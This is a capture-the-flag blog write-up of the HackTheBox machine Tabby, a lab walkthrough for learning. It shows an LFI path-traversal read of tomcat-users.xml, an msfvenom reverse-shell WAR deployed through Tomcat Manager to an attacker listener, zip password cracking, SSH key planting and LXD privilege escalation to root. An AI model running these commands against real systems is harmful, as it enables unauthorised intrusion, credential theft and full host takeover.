HackTheBox - Tabby
Tabby just retired on HackTheBox. It’s an easy difficulty Linux box. While rated easy the user part was about Tomcat and the root part about LXD, two softwares I had never used before this box so it gave me a little of trouble at first but I learned a lot of neat tricks and a better understanding of how those two tools works and vulnerabilities that can arise from them.
In the end it’s a very well designed box with a lot of real life scenarios that I enjoyed working with.
Tl;Dr: To get the user flag you first had to find an Local File Inclusion vulnerability in the main application. Using this LFI you could retrieve the users credentials of the Tomcat instance running on port 8080. With this account you can access Tomcat Manager Deploy feature and upload a malicious .war file to open a reverse shell. Once on the box as tomcat user you stumble across a password-protected zip file. Cracking the password gives you the actual password of ash user, allowing you to pivot to his account and retrieve the user flag.
To get the root flag you have to leverage ash user privilege to use LXD API in order to mount the host’s full root filesystem into a container with elevated privileges and from inside the container, read the root flag.
Alright! Let’s get into the details now!
First thing first, let’s add the box IP to the hosts file:
1 | [hg8@archbook ~]$ echo "10.10.10.194 tabby.htb" >> /etc/hosts |
and let’s start!
User Flag
Recon
Let’s start with the classic nmap scan to see which ports are open on the box:
1 | [hg8@archbook ~]$ nmap -sV -sT -sC tabby.htb |
We have a web server on port 80 running Apache, another web server on port 8080 running Apache Tomcat and finally the SSH port 22 open.
Opening http://tabby.htb display a following page:
From there we notice an interesting statement:
We have recently upgraded several services. Our servers are now more secure than ever.
Read our statement on recovering from the data breach
The statement page redirect to a new hostname: http://megahosting.htb. Let’s add it to our host file before continuing:
1 | [hg8@archbook ~]$ echo "10.10.10.194 megahosting.htb" >> /etc/hosts |
Opening the “recovering from data breach” statement doesn’t return any useful information:
We apologise to all our customers for the previous data breach.
We have changed the site to remove this tool, and have invested heavily in more secure servers
We don’t know what tool they are talking about and since it’s been removed we won’t be able to exploit it either. Yet this page got one interesting part, its URL: http://megahosting.htb/news.php?file=statement
Given the file parameter it looks like the page fetch a file named statement and displays its content. Looks like a perfect scenario for Local File Inclusion.
Local File Inclusion
Let’s try to exploit LFI to access the classical /etc/passwd file:
1 | [hg8@archbook ~]$ curl "megahosting.htb/news.php?file=../etc/passwd" |
Bingo, we just confirmed we can do LFI. Now what ? If we can find any sensible file on the server we should be able to read its source code.
Let’s run gobuster to see if any interesting files can be found:
1 | [hg8@archbook ~]$ gobuster dir -u "http://tabby.htb/" -w ~/SecLists/Discovery/Web-Content/big.txt -x php,txt |
Nothing interesting here, except the files folder but we don’t have permission to access it. Let’s move on.
At this point I didn’t get any interesting results. So I started to dig a bit into the Tomcat instance running on port 8080.
Analyzing Tomcat instance
Opening http://tabby.htb:8080 returns the defaults Tomcat homepage:
That was the first time for me using Tomcat so I was surprised to get so much informations on the default homepage, which is super useful for us. Amongst the documentation we learn that the file tomcat-users.xml contains a list of users and their respective permission:
For security reasons, using the manager webapp is restricted to users with role “manager-gui”. The host-manager webapp is restricted to users with role “admin-gui”. Users are defined in
/etc/tomcat9/tomcat-users.xml.
Looks exactly what we need, especially since we found an LFI earlier. Let’s grab this file to see if we can gather juicy accounts.
LFI to Tomcat conf files
The documentation state that the user file is located at /etc/tomcat9/tomcat-users.xml, let’s get it using LFI:
1 | [hg8@archbook ~]$ curl "http://megahosting.htb/news.php?file=../../../../etc/tomcat9/tomcat-users.xml" -I |
Bummer! No results…
Maybe Tomcat got installed in a different location? We know the server is running Ubuntu so let’s check the files location of the default tomcat9 on Ubuntu. The documentation list the following files:
1 | /etc/cron.daily/tomcat9 |
We missed the full path of the file, let’s try again with the correct path for Ubuntu:
1 | [hg8@archbook ~]$ curl "http://megahosting.htb/news.php?file=../../../../../usr/share/tomcat9/etc/tomcat-users.xml" |
Bingo! We got credentials for tomcat user which have admin-gui and manager-script role.
Reading through the documentation we find an interesting thing about manager-script role. It allows us to deploy custom packages in the format of WAR files:
There is a tool called the Client Deployer, which can be used from a command line and provides additional functionality such as compiling and validating web applications as well as packaging web application into web application resource (WAR) files.
Basically a WAR package is a container for JSP and various others file that constitute a web application.
Well since we have permission to deploy apps, maybe we can create a WAR package containing a JSP webshell?
Deploying malicious WAR package
After gathering a bit more informations about Tomcat we understand that a .war packages is a web application directory hierarchy in ZIP format.
We can use msfvenom to easily generate a malicious war package and verify it’s structure:
1 | [hg8@archbook ~]$ msfvenom -p java/shell_reverse_tcp lhost=10.10.10.10 lport=8585 -f war -o hg8.war |
1 | [hg8@archbook ~]$ unzip hg8.war |
We now have our package ready. Let’s open our nc listener:
1 | [hg8@archpen ~]$ nc -l -vv -p 8585 |
And deploy the package using the manager-script function:
1 | [hg8@archbook ~]$ curl -u 'tomcat:$3cureP4s5w0rd123!' -T hg8.war "http://megahosting.htb:8080/manager/text/deploy?path=/hg8.war" |
As soon as we open the page, a new connection appear on our listener:
1 | [hg8@archbook ~]$ curl http://megahosting.htb:8080/hg8.war |
1 | [hg8@archpen ~]$ nc -l -vv -p 8585 |
Pivot tomcat -> ash user
Alright we now have shell as tomcat. Looking at the /home/ directory we see that the user flag is in /home/ash/ directory.
Let’s looks around to see if we can find any way to pivot to ash user. First thing first I checked what’s inside the files folder we found at the beginning:
1 | tomcat@tabby:/$ ls /var/www/html/files |
This backup archive looks promising. Maybe we can find juicy files in it ?
1 | [hg8@archbook ~]$ wget http://tabby.htb/files/16162020_backup.zip |
1 | [hg8@archbook~]$ unzip 16162020_backup.zip |
Bummer it’s encrypted… Maybe we can bruteforce the password. I will use John as usual:
1 | [hg8@archbook ~]$ zip2john 16162020_backup.zip > zip.hashes |
1 | [hg8@archbook ~]$ john --wordlist=~/SecLists/Passwords/Leaked-Databases/rockyou.txt zip.hashes |
Bingo! We got the password, let’s now unzip the archive:
1 | [hg8@archpen ~]$ unzip 16162020_backup.zip |
And well… We got nothing interesting at all in this archive. That’s disappointing but what else can we try ?
Maybe ash reused his password for encrypting the archive ?
Let’s try to use admin@it to connect to his account:
1 | [hg8@archbook ~]$ ssh [email protected] |
No luck… Using su - then?
1 | tomcat@tabby:/$ su - ash |
Let’s add our own SSH key to authorized_keys file in order to get a more stable shell:
1 | ash@tabby:~$ echo "ssh-rsa AAAAXXX= [email protected]" >> ~/.ssh/authorized_keys |
And login again:
1 | [hg8@archbook ~]$ ssh -i id_rsa_htb [email protected] |
Root FLag
Recon
While doing our usual recon we quickly notice that ash belongs to a few uncommon group:
1 | ash@tabby:/$ id |
One particularly interesting is the lxd group.
LXD is a system container manager build on top of LXC (Linux Containers) that is currently supported by Canonical. The goal of LXD is to provide an experience similar to a virtual machine but through containerization rather than hardware virtualization. Compared to Docker for delivering applications, LXD offers nearly full operating-system functionality with additional features such as snapshots, live migrations, and storage management.
Doesn’t this remind you a lot of Docker? And Docker have a few interesting way to escalate privileges to root. Probably something similar exist for LXD ? Let’s dig a bit.
Privilege Escalation via LXD
After a bit of Google search we stumble upon an interesting article: “Linux Privilege Escalation via LXD & Hijacked UNIX Socket Credentials“.
This idea is to build an LXD container and use the LXD API to mount the host’s root filesystem into this container in order to give our low-privilege ash user root access to the host filesystem.
Let’s see how it’s done now.
First let’s init LXD if it’s not already done:
1 | ash@tabby:/$ lxd init |
Then check if images are already present on the system:
1 | ash@tabby:/tmp$ lxc image list |
No luck we don’t have any image. We will need to build our own first. Let’s head back to our own machine to do so. I will use the following script to create an basic Alpine container: LXD Alpine Builder.
1 | [hg8@archpen ~]$ git clone https://github.com/saghul/lxd-alpine-builder.git |
Alright now we upload our newly built image to the server:
1 | [hg8@archpen ~]$ scp -i id_rsa_htb alpine-v3.12-x86_64-20200624_1903.tar.gz [email protected]:/tmp/ |
We can import it:
1 | ash@tabby:/tmp$ lxc image import ./alpine-v3.12-x86_64-20200624_1903.tar.gz --alias hg8 |
1 | ash@tabby:/tmp$ lxc image list |
Let’s now assign it security privileges and mount the full disk under /mnt/root:
1 | ash@tabby:/tmp$ lxc init hg8 ignite -c security.privileged=true |
Finally let’s get inside the container and navigate to /mnt/root see all the resources from our host machine.
1 | ash@tabby:/tmp$ lxc exec ignite /bin/sh |
That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!
See you next time ;)
-hg8